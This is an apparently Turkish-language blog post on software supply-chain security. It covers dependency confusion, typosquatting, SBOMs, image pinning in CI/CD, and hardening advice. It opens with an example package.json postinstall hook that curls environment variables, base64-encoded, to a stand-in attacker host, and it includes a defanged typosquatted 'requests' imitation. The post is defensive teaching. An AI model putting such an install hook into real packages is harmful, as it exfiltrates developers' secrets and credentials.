"scripts": {
"postinstall": "curl -s http://attacker-example.com/collect?d=$(env | base64 -w0)"
}
Yukarıdaki JSON satırını bir package.json dosyasında gördüğünde, o terminalde 'Enter'a basıldıysa artık geçmiş olsun demektir. Sen daha kahvenden ilk yudumu almadan, o çok güvendiğin CI/CD pipeline'ındaki tüm environment variable'lar, API key'ler ve SSH private key'ler çoktan uzaklardaki bir sunucuya doğru yola çıkmıştır bile.
Selamlar dostlar, ben Sedat. Bugün biraz can sıkıcı ama bir o kadar da hayati bir konuya dalıyoruz: Software Supply Chain Security (Yazılım Tedarik Zinciri Güvenliği).
Modern yazılım geliştirme dünyasında artık tekerleği yeniden icat etmiyoruz. Projelerimizin %80'i, hatta bazen %90'ı açık kaynaklı kütüphanelerden oluşuyor. Biz sadece üzerine o ince 'business logic' katmanını ekliyoruz. Ancak bu durum, saldırganlar için iştah kabartan devasa bir saldırı yüzeyi oluşturuyor. Binlerce geliştiricinin katkıda bulunduğu devasa bir ekosistemin içinde, tek bir zehirli paketin sistemine sızması, kaleyi içeriden fethetmek için yeterli.
Dependency Confusion: İçeriden mi Dışarıdan mı?
Birkaç yıl önce Alex Birsan adlı bir araştırmacının ortaya attığı 'Dependency Confusion' (Bağımlılık Karışıklığı) tekniği, aslında ne kadar kırılgan olduğumuzu tokat gibi yüzümüze çarptı. Olay çok basit ama dâhice: Şirket içinde kullandığın özel (private) bir paketin ismini (Örn: testCompany-internal-auth) öğrenen bir saldırgan, aynı isimle ancak daha yüksek bir versiyon numarasıyla (Örn: v99.9.9) genel bir depoya (npm, PyPI vb.) paket yüklüyor. Paket yöneticileri (npm, pip) varsayılan olarak her zaman en yüksek versiyonu aradığı için, senin build sunucun gidip saldırganın paketini indirip kuruyor.
İşte o an, senin sunucunda saldırganın yazdığı kodlar 'root' yetkisiyle dans etmeye başlıyor.
Savunma Notu: Bunu engellemek için private paketlerinizi mutlaka 'scoped' (Örn: @testCompany/auth) olarak tanımlayın ve paket yöneticisi yapılandırmalarınızda (örneğin .npmrc dosyasında) internal registry'nizi kesin olarak belirtin.
Typosquatting: Bir Harf Nelere Kadir?
İnsan faktörü her zaman en zayıf halkadır. Gecenin bir yarısı yorgun argın kod yazarken pip install requests yerine yanlışlıkla pip install reqeusts (dikkat et, 'e' harfi fazla) yazdığını düşün. Saldırganlar, popüler kütüphanelerin isim benzerliklerini (typos) kullanarak yüzlerce sahte paket yüklüyorlar. Bu paketler genellikle orijinal kütüphanenin fonksiyonlarını birebir taklit ederken, arka planda bir reverse shell açmaktan çekinmezler.
# Zararsızlaştırılmış (Defanged) Örnek: Kötü niyetli bir 'reqeusts' paketi içeriği
import os, base64
def get(url, **kwargs):
# Orijinal requests.get taklidi yapılırken araya sızma:
os.system("echo 'Pwned by typo' > /tmp/pwned.txt")
# Gerçek requests'i import edip işi ona paslar ki şüphe çekmesin
import requests
return requests.get(url, **kwargs)
SBOM (Software Bill of Materials): Ne Yediğini Biliyor musun?
Bir marketten bisküvi aldığında arkasındaki içindekiler kısmına bakarsın değil mi? İşte SBOM, yazılım dünyasının 'içindekiler' listesidir. Projenin hangi kütüphaneleri, hangi versiyonlarla kullandığını ve bu kütüphanelerin kendi bağımlılıklarını (transitive dependencies) listeleyen bir belgedir (genellikle CycloneDX veya SPDX formatında).
Eğer elinde güncel bir SBOM yoksa, yeni bir kritik zafiyet çıktığında (hatırlayın: Log4j faciası) 'Acaba bizde bu paket var mı?' diye günlerce manuel arama yaparsın. Oysa iyi kurgulanmış bir SBOM stratejisiyle, saniyeler içinde hangi mikroservisin risk altında olduğunu görebilirsin.
Red Team Gözüyle: Pipeline Sızmaları
Biz Red Team operasyonlarında genellikle doğrudan prod sunucusuna gitmeyiz. En sevdiğimiz durak, geliştiricilerin 'kutsal' alanı olan CI/CD hattıdır. Neden mi? Çünkü orası orkestrasyonun kalbidir. Jenkins, GitLab Runner veya GitHub Actions üzerindeki bir zafiyet, sadece bir uygulamayı değil, tüm dağıtım zincirini ele geçirmemizi sağlar.
Pipeline dosyalarınızda (.gitlab-ci.yml gibi) 'latest' tag'ini kullanmak, Rus ruleti oynamaktan farksızdır.
# YAPMAYIN:
image: testCompany-base-image:latest
# YAPIN (Immutable Tags / SHA Hash):
image: testCompany-base-image:v1.2.3@sha256:8f5516a...
latest kullanmak, o imaj her güncellendiğinde ne geleceğini bilmemek demektir. Bir saldırgan imaj deposuna sızıp latest etiketini kendi hazırladığı imaja yönlendirirse, senin tüm build sürecin artık onun elindedir.
Güvenlik İçin Altın Kurallar (Hardening Checklist)
- Lock Dosyalarını Ciddiye Al:
package-lock.json,poetry.lockveyago.sumdosyalarını asla.gitignoreyapma. Bunlar, bağımlılıkların hash değerlerini tutar ve birisi paketi değiştirdiğinde kurulumu durdurur. - Private Proxy Kullan: Tüm paketleri doğrudan internetten çekmek yerine, şirket içinde bir Artifactory veya Nexus benzeri bir proxy üzerinden geçirin. Bu sayede paketleri tarayabilir (vulnerability scanning) ve istenmeyenleri bloklayabilirsiniz.
- Secrets Management: Pipeline dosyalarına asla hardcoded şifre yazmayın. Hashicorp Vault gibi araçlar veya CI/CD araçlarının kendi 'secret' mekanizmalarını kullanın. Ve lütfen, o secret'ların shell script'ler içinde
echoile yazdırılmadığından emin olun! - Least Privilege (En Az Yetki): Build sunucularınızın internete çıkışını kısıtlayın. Sadece ihtiyacı olan registry'lere erişebilsin. Neden bir build runner
example-malicious-site.comadresine HTTP isteği atsın ki? - Audit ve Scan:
npm audit,snyk, veyatrivygibi araçları pipeline'ın bir parçası haline getirin. Kritik bir zafiyet (High/Critical) bulunduğunda build sürecini durdurun (fail the build).
Sahadan Tecrübe: 'Bize Bir Şey Olmaz' Yanılgısı
Bir keresinde bir test sırasında, bir ekibin sadece 'deneme' amaçlı yazdığı küçük bir script'in içine koyduğumuz zararsız bir 'phone-home' (eve dönüş) sinyalinin, tüm şirketin üretim bandını tetiklediğini gördük. Geliştirici, kütüphaneyi yerel makinesinde test ettiğini sanıyordu ama aslında her şey merkezi bir repo üzerinden dağılıyordu. Tedarik zinciri güvenliği sadece büyük kütüphanelerle ilgili değil, şirket içindeki o küçük 'utility' script'leriyle de ilgilidir.
Sonuç olarak dostlar; kodu kimin yazdığı kadar, o kodun senin sunucuna nasıl geldiği ve yolda kimlerle karşılaştığı da önemli. 'Benim kodum temiz' demek yetmiyor, artık 'Benim zincirim sağlam' demek zorundayız.
Şimdi gidip bir bağımlılık listelerinize göz atın bakalım, orada tanımadığınız kimseler var mı? Güvende kalın.
